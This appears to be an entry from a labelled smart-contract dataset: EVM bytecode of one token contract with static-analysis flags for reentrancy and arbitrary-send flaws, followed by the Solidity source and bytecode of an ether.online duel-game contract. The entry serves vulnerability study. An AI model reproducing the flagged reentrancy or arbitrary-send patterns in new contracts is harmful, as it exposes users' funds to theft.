ffffffffffffff1681526020019081526020016000206002015461289891906141c6565b4211156128a857600f905061296f565b610708600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201546128f891906141c6565b421115612908576014905061296e565b61012c600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206002015461295891906141c6565b421115612968576019905061296d565b602390505b5b5b5b612997600a612989600484612db490919063ffffffff16565b6130b790919063ffffffff16565b600a819055506129c4600a6129b6600684612db490919063ffffffff16565b6130b790919063ffffffff16565b600b819055506000821115612a8b57612a256064612a17600c54612a09601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610c0a565b612db490919063ffffffff16565b6130b790919063ffffffff16565b821115612a8157612a7e6064612a70600c54612a62601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610c0a565b612db490919063ffffffff16565b6130b790919063ffffffff16565b91505b612a8a82612e2f565b5b60004790506000811115612aa357612aa247612bcf565b5b50505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680612b4f5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15612b5957600090505b612b6584848484613101565b50505050565b6000838311158290612bb3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612baa9190613eae565b60405180910390fd5b5060008385612bc291906142a7565b9050809150509392505050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc612c1f6002846130b790919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612c4a573d6000803e3d6000fd5b50601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc612c9b6004846130b790919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612cc6573d6000803e3d6000fd5b50601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc612d176004846130b790919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612d42573d6000803e3d6000fd5b5050565b6000600854821115612d8d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612d8490613ef0565b60405180910390fd5b6000612d9761312e565b9050612dac81846130b790919063ffffffff16565b915050919050565b600080831415612dc75760009050612e29565b60008284612dd5919061424d565b9050828482612de4919061421c565b14612e24576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612e1b90613fb0565b60405180910390fd5b809150505b92915050565b6001601560166101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115612e6757612e6661447c565b5b604051908082528060200260200182016040528015612e955781602001602082028036833780820191505090505b5090503081600081518110612ead57612eac61444d565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015612f4f57600080fd5b505afa158015612f63573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612f8791906138af565b81600181518110612f9b57612f9a61444d565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061300230601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846118cb565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016130669594939291906140ab565b600060405180830381600087803b15801561308057600080fd5b505af1158015613094573d6000803e3d6000fd5b50505050506000601560166101000a81548160ff02191690831515021790555050565b60006130f983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250613159565b905092915050565b8061310f5761310e6131bc565b5b61311a8484846131ff565b80613128576131276133ca565b5b50505050565b600080600061313b6133de565b9150915061315281836130b790919063ffffffff16565b9250505090565b600080831182906131a0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016131979190613eae565b60405180910390fd5b50600083856131af919061421c565b9050809150509392505050565b6000600a541480156131d057506000600b54145b156131da576131fd565b600a54600e81905550600b54600f819055506000600a819055506000600b819055505b565b60008060008060008061321187613440565b95509550955095509550955061326f86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546134a890919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061330485600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546134f290919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061335081613550565b61335a848361360d565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516133b79190614090565b60405180910390a3505050505050505050565b600e54600a81905550600f54600b81905550565b600080600060085490506000683635c9adc5dea000009050613414683635c9adc5dea000006008546130b790919063ffffffff16565b82101561343357600854683635c9adc5dea0000093509350505061343c565b81819350935050505b9091565b600080600080600080600080600061345d8a600a54600b54613647565b925092509250600061346d61312e565b905060008060006134808e8787876136dd565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006134ea83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612b6b565b905092915050565b600080828461350191906141c6565b905083811015613546576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161353d90613f50565b60405180910390fd5b8091505092915050565b600061355a61312e565b905060006135718284612db490919063ffffffff16565b90506135c581600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546134f290919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b613622826008546134a890919063ffffffff16565b60088190555061363d816009546134f290919063ffffffff16565b6009819055505050565b6000806000806136736064613665888a612db490919063ffffffff16565b6130b790919063ffffffff16565b9050600061369d606461368f888b612db490919063ffffffff16565b6130b790919063ffffffff16565b905060006136c6826136b8858c6134a890919063ffffffff16565b6134a890919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806136f68589612db490919063ffffffff16565b9050600061370d8689612db490919063ffffffff16565b905060006137248789612db490919063ffffffff16565b9050600061374d8261373f85876134a890919063ffffffff16565b6134a890919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061377961377484614145565b614120565b9050808382526020820190508285602086028201111561379c5761379b6144b0565b5b60005b858110156137cc57816137b288826137d6565b84526020840193506020830192505060018101905061379f565b5050509392505050565b6000813590506137e581614864565b92915050565b6000815190506137fa81614864565b92915050565b600082601f830112613815576138146144ab565b5b8135613825848260208601613766565b91505092915050565b60008135905061383d8161487b565b92915050565b6000815190506138528161487b565b92915050565b60008135905061386781614892565b92915050565b60008151905061387c81614892565b92915050565b600060208284031215613898576138976144ba565b5b60006138a6848285016137d6565b91505092915050565b6000602082840312156138c5576138c46144ba565b5b60006138d3848285016137eb565b91505092915050565b600080604083850312156138f3576138f26144ba565b5b6000613901858286016137d6565b9250506020613912858286016137d6565b9150509250929050565b600080600060608486031215613935576139346144ba565b5b6000613943868287016137d6565b9350506020613954868287016137d6565b925050604061396586828701613858565b9150509250925092565b60008060408385031215613986576139856144ba565b5b6000613994858286016137d6565b92505060206139a585828601613858565b9150509250929050565b6000602082840312156139c5576139c46144ba565b5b600082013567ffffffffffffffff8111156139e3576139e26144b5565b5b6139ef84828501613800565b91505092915050565b600060208284031215613a0e57613a0d6144ba565b5b6000613a1c8482850161382e565b91505092915050565b600060208284031215613a3b57613a3a6144ba565b5b6000613a4984828501613843565b91505092915050565b600060208284031215613a6857613a676144ba565b5b6000613a7684828501613858565b91505092915050565b600080600060608486031215613a9857613a976144ba565b5b6000613aa68682870161386d565b9350506020613ab78682870161386d565b9250506040613ac88682870161386d565b9150509250925092565b6000613ade8383613aea565b60208301905092915050565b613af3816142db565b82525050565b613b02816142db565b82525050565b6000613b1382614181565b613b1d81856141a4565b9350613b2883614171565b8060005b83811015613b59578151613b408882613ad2565b9750613b4b83614197565b925050600181019050613b2c565b5085935050505092915050565b613b6f816142ed565b82525050565b613b7e81614330565b82525050565b6000613b8f8261418c565b613b9981856141b5565b9350613ba9818560208601614342565b613bb2816144bf565b840191505092915050565b6000613bca6023836141b5565b9150613bd5826144d0565b604082019050919050565b6000613bed602a836141b5565b9150613bf88261451f565b604082019050919050565b6000613c106022836141b5565b9150613c1b8261456e565b604082019050919050565b6000613c336022836141b5565b9150613c3e826145bd565b604082019050919050565b6000613c56601b836141b5565b9150613c618261460c565b602082019050919050565b6000613c796015836141b5565b9150613c8482614635565b602082019050919050565b6000613c9c6023836141b5565b9150613ca78261465e565b604082019050919050565b6000613cbf6021836141b5565b9150613cca826146ad565b604082019050919050565b6000613ce26020836141b5565b9150613ced826146fc565b602082019050919050565b6000613d056029836141b5565b9150613d1082614725565b604082019050919050565b6000613d286025836141b5565b9150613d3382614774565b604082019050919050565b6000613d4b6024836141b5565b9150613d56826147c3565b604082019050919050565b6000613d6e6017836141b5565b9150613d7982614812565b602082019050919050565b6000613d916018836141b5565b9150613d9c8261483b565b602082019050919050565b613db081614319565b82525050565b613dbf81614323565b82525050565b6000602082019050613dda6000830184613af9565b92915050565b6000604082019050613df56000830185613af9565b613e026020830184613af9565b9392505050565b6000604082019050613e1e6000830185613af9565b613e2b6020830184613da7565b9392505050565b600060c082019050613e476000830189613af9565b613e546020830188613da7565b613e616040830187613b75565b613e6e6060830186613b75565b613e7b6080830185613af9565b613e8860a0830184613da7565b979650505050505050565b6000602082019050613ea86000830184613b66565b92915050565b60006020820190508181036000830152613ec88184613b84565b905092915050565b60006020820190508181036000830152613ee981613bbd565b9050919050565b60006020820190508181036000830152613f0981613be0565b9050919050565b60006020820190508181036000830152613f2981613c03565b9050919050565b60006020820190508181036000830152613f4981613c26565b9050919050565b60006020820190508181036000830152613f6981613c49565b9050919050565b60006020820190508181036000830152613f8981613c6c565b9050919050565b60006020820190508181036000830152613fa981613c8f565b9050919050565b60006020820190508181036000830152613fc981613cb2565b9050919050565b60006020820190508181036000830152613fe981613cd5565b9050919050565b6000602082019050818103600083015261400981613cf8565b9050919050565b6000602082019050818103600083015261402981613d1b565b9050919050565b6000602082019050818103600083015261404981613d3e565b9050919050565b6000602082019050818103600083015261406981613d61565b9050919050565b6000602082019050818103600083015261408981613d84565b9050919050565b60006020820190506140a56000830184613da7565b92915050565b600060a0820190506140c06000830188613da7565b6140cd6020830187613b75565b81810360408301526140df8186613b08565b90506140ee6060830185613af9565b6140fb6080830184613da7565b9695505050505050565b600060208201905061411a6000830184613db6565b92915050565b600061412a61413b565b90506141368282614375565b919050565b6000604051905090565b600067ffffffffffffffff8211156141605761415f61447c565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006141d182614319565b91506141dc83614319565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115614211576142106143ef565b5b828201905092915050565b600061422782614319565b915061423283614319565b9250826142425761424161441e565b5b828204905092915050565b600061425882614319565b915061426383614319565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561429c5761429b6143ef565b5b828202905092915050565b60006142b282614319565b91506142bd83614319565b9250828210156142d0576142cf6143ef565b5b828203905092915050565b60006142e6826142f9565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061433b82614319565b9050919050565b60005b83811015614360578082015181840152602081019050614345565b8381111561436f576000848401525b50505050565b61437e826144bf565b810181811067ffffffffffffffff8211171561439d5761439c61447c565b5b80604052505050565b60006143b182614319565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156143e4576143e36143ef565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f596f75722062757920636f6f6c646f776e20686173206e6f742065787069726560008201527f642e000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f526174652063616e277420657863656564203530250000000000000000000000600082015250565b7f596f75722073656c6c20636f6f6c646f776e20686173206e6f7420657870697260008201527f65642e0000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f54726164696e67206e6f742079657420656e61626c65642e0000000000000000600082015250565b61486d816142db565b811461487857600080fd5b50565b614884816142ed565b811461488f57600080fd5b50565b61489b81614319565b81146148a657600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212205754355db16c8dd708d2d1d230a37e1b7c392a3b351ec12d892574c1fee4668764736f6c63430008060033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
1,723
0xccb15d8b18031c027d6cc51751d77f008fabb345
/* ==================================================================== */ /* Copyright (c) 2018 The ether.online Project. All rights reserved. /* /* https://ether.online The first RPG game of blockchain /* /* authors rickhunter.shen@gmail.com /* ssesunding@gmail.com /* ==================================================================== */ pragma solidity ^0.4.20; contract AccessAdmin { bool public isPaused = false; address public addrAdmin; event AdminTransferred(address indexed preAdmin, address indexed newAdmin); function AccessAdmin() public { addrAdmin = msg.sender; } modifier onlyAdmin() { require(msg.sender == addrAdmin); _; } modifier whenNotPaused() { require(!isPaused); _; } modifier whenPaused { require(isPaused); _; } function setAdmin(address _newAdmin) external onlyAdmin { require(_newAdmin != address(0)); AdminTransferred(addrAdmin, _newAdmin); addrAdmin = _newAdmin; } function doPause() external onlyAdmin whenNotPaused { isPaused = true; } function doUnpause() external onlyAdmin whenPaused { isPaused = false; } } contract AccessService is AccessAdmin { address public addrService; address public addrFinance; modifier onlyService() { require(msg.sender == addrService); _; } modifier onlyFinance() { require(msg.sender == addrFinance); _; } function setService(address _newService) external { require(msg.sender == addrService || msg.sender == addrAdmin); require(_newService != address(0)); addrService = _newService; } function setFinance(address _newFinance) external { require(msg.sender == addrFinance || msg.sender == addrAdmin); require(_newFinance != address(0)); addrFinance = _newFinance; } function withdraw(address _target, uint256 _amount) external { require(msg.sender == addrFinance || msg.sender == addrAdmin); require(_amount > 0); address receiver = _target == address(0) ? addrFinance : _target; uint256 balance = this.balance; if (_amount < balance) { receiver.transfer(_amount); } else { receiver.transfer(this.balance); } } } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } interface IBitGuildToken { function transfer(address _to, uint256 _value) external; function transferFrom(address _from, address _to, uint256 _value) external returns (bool); function approve(address _spender, uint256 _value) external; function approveAndCall(address _spender, uint256 _value, bytes _extraData) external returns (bool); function balanceOf(address _from) external view returns(uint256); } interface IAgonFight { function calcFight(uint64 _mFlag, uint64 _cFlag, uint256 _aSeed, uint256 _fSeed) external pure returns(uint64); } contract ActionAgonPlat is AccessService { using SafeMath for uint256; event CreateAgonPlat(uint64 indexed agonId, address indexed master, uint64 indexed outFlag); event CancelAgonPlat(uint64 indexed agonId, address indexed master, uint64 indexed outFlag); event ChallengeAgonPlat(uint64 indexed agonId, address indexed master, uint64 indexed outFlag, address challenger); event ResolveAgonPlat(uint64 indexed agonId, address indexed master, uint64 indexed outFlag, address challenger); struct Agon { address master; address challenger; uint64 agonPrice; uint64 outFlag; uint64 agonFlag; uint64 result; // 1-win, 2-lose, 99-cancel } Agon[] agonArray; IAgonFight fightContract; IBitGuildToken public bitGuildContract; mapping (address => uint64[]) public ownerToAgonIdArray; uint256 public maxAgonCount = 6; uint256 public maxResolvedAgonId = 0; uint256[5] public agonValues; function ActionAgonPlat(address _platAddr) public { addrAdmin = msg.sender; addrService = msg.sender; addrFinance = msg.sender; bitGuildContract = IBitGuildToken(_platAddr); Agon memory order = Agon(0, 0, 0, 0, 1, 1); agonArray.push(order); agonValues[0] = 3000000000000000000000; agonValues[1] = 12000000000000000000000; agonValues[2] = 30000000000000000000000; agonValues[3] = 60000000000000000000000; agonValues[4] = 120000000000000000000000; } function() external {} function setMaxAgonCount(uint256 _count) external onlyAdmin { require(_count > 0 && _count < 20); require(_count != maxAgonCount); maxAgonCount = _count; } function setAgonFight(address _addr) external onlyAdmin { fightContract = IAgonFight(_addr); } function setMaxResolvedAgonId() external { uint256 length = agonArray.length; for (uint256 i = maxResolvedAgonId; i < length; ++i) { if (agonArray[i].result == 0) { maxResolvedAgonId = i - 1; break; } } } function setAgonValues(uint256[5] values) external onlyAdmin { require(values[0] >= 100); require(values[1] >= values[0]); require(values[2] >= values[1]); require(values[3] >= values[2]); require(values[4] >= values[3]); require(values[4] <= 600000); require(values[0] % 100 == 0); require(values[1] % 100 == 0); require(values[2] % 100 == 0); require(values[3] % 100 == 0); require(values[4] % 100 == 0); agonValues[0] = values[0].mul(1000000000000000000); agonValues[1] = values[1].mul(1000000000000000000); agonValues[2] = values[2].mul(1000000000000000000); agonValues[3] = values[3].mul(1000000000000000000); agonValues[4] = values[4].mul(1000000000000000000); } function _getExtraParam(bytes _extraData) internal pure returns(uint64 p1, uint64 p2, uint64 p3) { p1 = uint64(_extraData[0]); p2 = uint64(_extraData[1]); uint64 index = 2; uint256 val = 0; uint256 length = _extraData.length; while (index < length) { val += (uint256(_extraData[index]) * (256 ** (length - index - 1))); index += 1; } p3 = uint64(val); } function receiveApproval(address _sender, uint256 _value, address _tokenContract, bytes _extraData) external whenNotPaused { require(msg.sender == address(bitGuildContract)); require(_extraData.length > 2 && _extraData.length <= 10); var (p1, p2, p3) = _getExtraParam(_extraData); if (p1 == 0) { _newAgon(p3, p2, _sender, _value); } else if (p1 == 1) { _newChallenge(p3, p2, _sender, _value); } else { require(false); } } function _newAgon(uint64 _outFlag, uint64 _valId, address _sender, uint256 _value) internal { require(ownerToAgonIdArray[_sender].length < maxAgonCount); require(_valId >= 0 && _valId <= 4); require(_value == agonValues[_valId]); require(bitGuildContract.transferFrom(_sender, address(this), _value)); uint64 newAgonId = uint64(agonArray.length); agonArray.length += 1; Agon storage agon = agonArray[newAgonId]; agon.master = _sender; agon.agonPrice = uint64(_value.div(1000000000000000000)); agon.outFlag = _outFlag; ownerToAgonIdArray[_sender].push(newAgonId); CreateAgonPlat(uint64(newAgonId), _sender, _outFlag); } function _removeAgonIdByOwner(address _owner, uint64 _agonId) internal { uint64[] storage agonIdArray = ownerToAgonIdArray[_owner]; uint256 length = agonIdArray.length; require(length > 0); uint256 findIndex = 99; for (uint256 i = 0; i < length; ++i) { if (_agonId == agonIdArray[i]) { findIndex = i; } } require(findIndex != 99); if (findIndex != (length - 1)) { agonIdArray[findIndex] = agonIdArray[length - 1]; } agonIdArray.length -= 1; } function cancelAgon(uint64 _agonId) external { require(_agonId < agonArray.length); Agon storage agon = agonArray[_agonId]; require(agon.result == 0); require(agon.challenger == address(0)); require(agon.master == msg.sender); agon.result = 99; _removeAgonIdByOwner(msg.sender, _agonId); bitGuildContract.transfer(msg.sender, uint256(agon.agonPrice).mul(1000000000000000000)); CancelAgonPlat(_agonId, msg.sender, agon.outFlag); } function cancelAgonForce(uint64 _agonId) external onlyService { require(_agonId < agonArray.length); Agon storage agon = agonArray[_agonId]; require(agon.result == 0); require(agon.challenger == address(0)); agon.result = 99; _removeAgonIdByOwner(agon.master, _agonId); bitGuildContract.transfer(agon.master, uint256(agon.agonPrice).mul(1000000000000000000)); CancelAgonPlat(_agonId, agon.master, agon.outFlag); } function _newChallenge(uint64 _agonId, uint64 _flag, address _sender, uint256 _value) internal { require(_agonId < agonArray.length); Agon storage agon = agonArray[_agonId]; require(agon.result == 0); require(agon.master != _sender); require(uint256(agon.agonPrice).mul(1000000000000000000) == _value); require(agon.challenger == address(0)); require(bitGuildContract.transferFrom(_sender, address(this), _value)); agon.challenger = _sender; agon.agonFlag = _flag; ChallengeAgonPlat(_agonId, agon.master, agon.outFlag, _sender); } function fightAgon(uint64 _agonId, uint64 _mFlag, uint256 _aSeed, uint256 _fSeed) external onlyService { require(_agonId < agonArray.length); Agon storage agon = agonArray[_agonId]; require(agon.result == 0 && agon.challenger != address(0)); require(fightContract != address(0)); uint64 fRet = fightContract.calcFight(_mFlag, agon.agonFlag, _aSeed, _fSeed); require(fRet == 1 || fRet == 2); agon.result = fRet; _removeAgonIdByOwner(agon.master, _agonId); uint256 devCut = uint256(agon.agonPrice).div(10); uint256 winVal = uint256(agon.agonPrice).mul(2).sub(devCut); if (fRet == 1) { bitGuildContract.transfer(agon.master, winVal.mul(1000000000000000000)); } else { bitGuildContract.transfer(agon.challenger, winVal.mul(1000000000000000000)); } ResolveAgonPlat(_agonId, agon.master, agon.outFlag, agon.challenger); } function getPlatBalance() external view returns(uint256) { return bitGuildContract.balanceOf(this); } function withdrawPlat() external { require(msg.sender == addrFinance || msg.sender == addrAdmin); uint256 balance = bitGuildContract.balanceOf(this); require(balance > 0); bitGuildContract.transfer(addrFinance, balance); } function getAgon(uint256 _agonId) external view returns( address master, address challenger, uint64 agonPrice, uint64 outFlag, uint64 agonFlag, uint64 result ) { require(_agonId < agonArray.length); Agon memory agon = agonArray[_agonId]; master = agon.master; challenger = agon.challenger; agonPrice = agon.agonPrice; outFlag = agon.outFlag; agonFlag = agon.agonFlag; result = agon.result; } function getAgonArray(uint64 _startAgonId, uint64 _count) external view returns( uint64[] agonIds, address[] masters, address[] challengers, uint64[] agonPrices, uint64[] agonOutFlags, uint64[] agonFlags, uint64[] results ) { uint64 length = uint64(agonArray.length); require(_startAgonId < length); require(_startAgonId > 0); uint256 maxLen; if (_count == 0) { maxLen = length - _startAgonId; } else { maxLen = (length - _startAgonId) >= _count ? _count : (length - _startAgonId); } agonIds = new uint64[](maxLen); masters = new address[](maxLen); challengers = new address[](maxLen); agonPrices = new uint64[](maxLen); agonOutFlags = new uint64[](maxLen); agonFlags = new uint64[](maxLen); results = new uint64[](maxLen); uint256 counter = 0; for (uint64 i = _startAgonId; i < length; ++i) { Agon storage tmpAgon = agonArray[i]; agonIds[counter] = i; masters[counter] = tmpAgon.master; challengers[counter] = tmpAgon.challenger; agonPrices[counter] = tmpAgon.agonPrice; agonOutFlags[counter] = tmpAgon.outFlag; agonFlags[counter] = tmpAgon.agonFlag; results[counter] = tmpAgon.result; counter += 1; if (counter >= maxLen) { break; } } } function getMaxAgonId() external view returns(uint256) { return agonArray.length - 1; } function getAgonIdArray(address _owner) external view returns(uint64[]) { return ownerToAgonIdArray[_owner]; } }
0x60606040526004361061015b5763ffffffff60e060020a6000350416631531076c811461016857806316512624146103805780631a3ae67a14610395578063271a50db146103ba57806328b6c658146103d957806330efb8d3146103ec5780633407dd24146103ff57806351784a751461043e578063549c7b58146104515780636044ce6e146104b657806367d0661d146104d65780636d57e2a9146104e9578063704b6c021461055b578063748c350b1461057a578063750240a21461059057806379859a78146105a357806382cb9df9146105b957806388753343146105e85780638f4ffcb1146105fb5780639b8d306414610631578063b0d997d914610650578063b187bd2614610663578063b9aa82361461068a578063bf8bdac11461069d578063bfae2f0e146106bc578063cdd977e0146106cf578063f0af7e65146106e2578063f3fef3a314610702578063f696c4ed14610724575b341561016657600080fd5b005b341561017357600080fd5b61018e67ffffffffffffffff60043581169060243516610750565b604051808060200180602001806020018060200180602001806020018060200188810388528f818151815260200191508051906020019060200280838360005b838110156101e65780820151838201526020016101ce565b5050505090500188810387528e818151815260200191508051906020019060200280838360005b8381101561022557808201518382015260200161020d565b5050505090500188810386528d818151815260200191508051906020019060200280838360005b8381101561026457808201518382015260200161024c565b5050505090500188810385528c818151815260200191508051906020019060200280838360005b838110156102a357808201518382015260200161028b565b5050505090500188810384528b818151815260200191508051906020019060200280838360005b838110156102e25780820151838201526020016102ca565b5050505090500188810383528a818151815260200191508051906020019060200280838360005b83811015610321578082015183820152602001610309565b50505050905001888103825289818151815260200191508051906020019060200280838360005b83811015610360578082015183820152602001610348565b505050509050019e50505050505050505050505050505060405180910390f35b341561038b57600080fd5b6101666004610abc565b34156103a057600080fd5b6103a8610c2a565b60405190815260200160405180910390f35b34156103c557600080fd5b610166600160a060020a0360043516610c99565b34156103e457600080fd5b6103a8610ce8565b34156103f757600080fd5b610166610cee565b341561040a57600080fd5b610421600160a060020a0360043516602435610d2b565b60405167ffffffffffffffff909116815260200160405180910390f35b341561044957600080fd5b610166610d77565b341561045c57600080fd5b610467600435610e9a565b604051600160a060020a03968716815294909516602085015267ffffffffffffffff928316604080860191909152918316606085015282166080840152921660a082015260c001905180910390f35b34156104c157600080fd5b61016667ffffffffffffffff60043516610f7b565b34156104e157600080fd5b610166611145565b34156104f457600080fd5b610508600160a060020a0360043516611184565b60405160208082528190810183818151815260200191508051906020019060200280838360005b8381101561054757808201518382015260200161052f565b505050509050019250505060405180910390f35b341561056657600080fd5b610166600160a060020a036004351661123b565b341561058557600080fd5b6103a86004356112e6565b341561059b57600080fd5b6101666112fa565b34156105ae57600080fd5b61016660043561135b565b34156105c457600080fd5b6105cc6113aa565b604051600160a060020a03909116815260200160405180910390f35b34156105f357600080fd5b6103a86113b9565b341561060657600080fd5b61016660048035600160a060020a0390811691602480359260443516916064359182019101356113bf565b341561063c57600080fd5b610166600160a060020a036004351661149b565b341561065b57600080fd5b6105cc61151a565b341561066e57600080fd5b610676611529565b604051901515815260200160405180910390f35b341561069557600080fd5b6103a8611532565b34156106a857600080fd5b610166600160a060020a036004351661153c565b34156106c757600080fd5b6105cc6115bb565b34156106da57600080fd5b6105cc6115cf565b34156106ed57600080fd5b61016667ffffffffffffffff600435166115de565b341561070d57600080fd5b610166600160a060020a0360043516602435611797565b341561072f57600080fd5b61016667ffffffffffffffff6004358116906024351660443560643561188f565b61075861236d565b61076061236d565b61076861236d565b61077061236d565b61077861236d565b61078061236d565b61078861236d565b600354600080808067ffffffffffffffff808616908f16106107a957600080fd5b600067ffffffffffffffff8f16116107c057600080fd5b67ffffffffffffffff8d1615156107e5578d850367ffffffffffffffff16935061081a565b8c67ffffffffffffffff168e860367ffffffffffffffff16101561080b578d850361080d565b8c5b67ffffffffffffffff1693505b836040518059106108285750595b90808252806020026020018201604052509b50836040518059106108495750595b90808252806020026020018201604052509a508360405180591061086a5750595b908082528060200260200182016040525099508360405180591061088b5750595b90808252806020026020018201604052509850836040518059106108ac5750595b90808252806020026020018201604052509750836040518059106108cd5750595b90808252806020026020018201604052509650836040518059106108ee5750595b90808252806020026020018201604052509550600092508d91505b8467ffffffffffffffff168267ffffffffffffffff161015610aab576003805467ffffffffffffffff841690811061093d57fe5b90600052602060002090600302019050818c848151811061095a57fe5b67ffffffffffffffff9092166020928302909101909101528054600160a060020a03168b848151811061098957fe5b600160a060020a03928316602091820290920101526001820154168a84815181106109b057fe5b600160a060020a03909216602092830290910190910152600181015467ffffffffffffffff60a060020a909104168984815181106109ea57fe5b67ffffffffffffffff92831660209182029092010152600282015416888481518110610a1257fe5b67ffffffffffffffff92831660209182029092010152600282015468010000000000000000900416878481518110610a4657fe5b67ffffffffffffffff928316602091820290920101526002820154608060020a900416868481518110610a7557fe5b67ffffffffffffffff90921660209283029091019091015260019290920191838310610aa057610aab565b816001019150610909565b505050505092959891949750929550565b60005433600160a060020a039081166101009092041614610adc57600080fd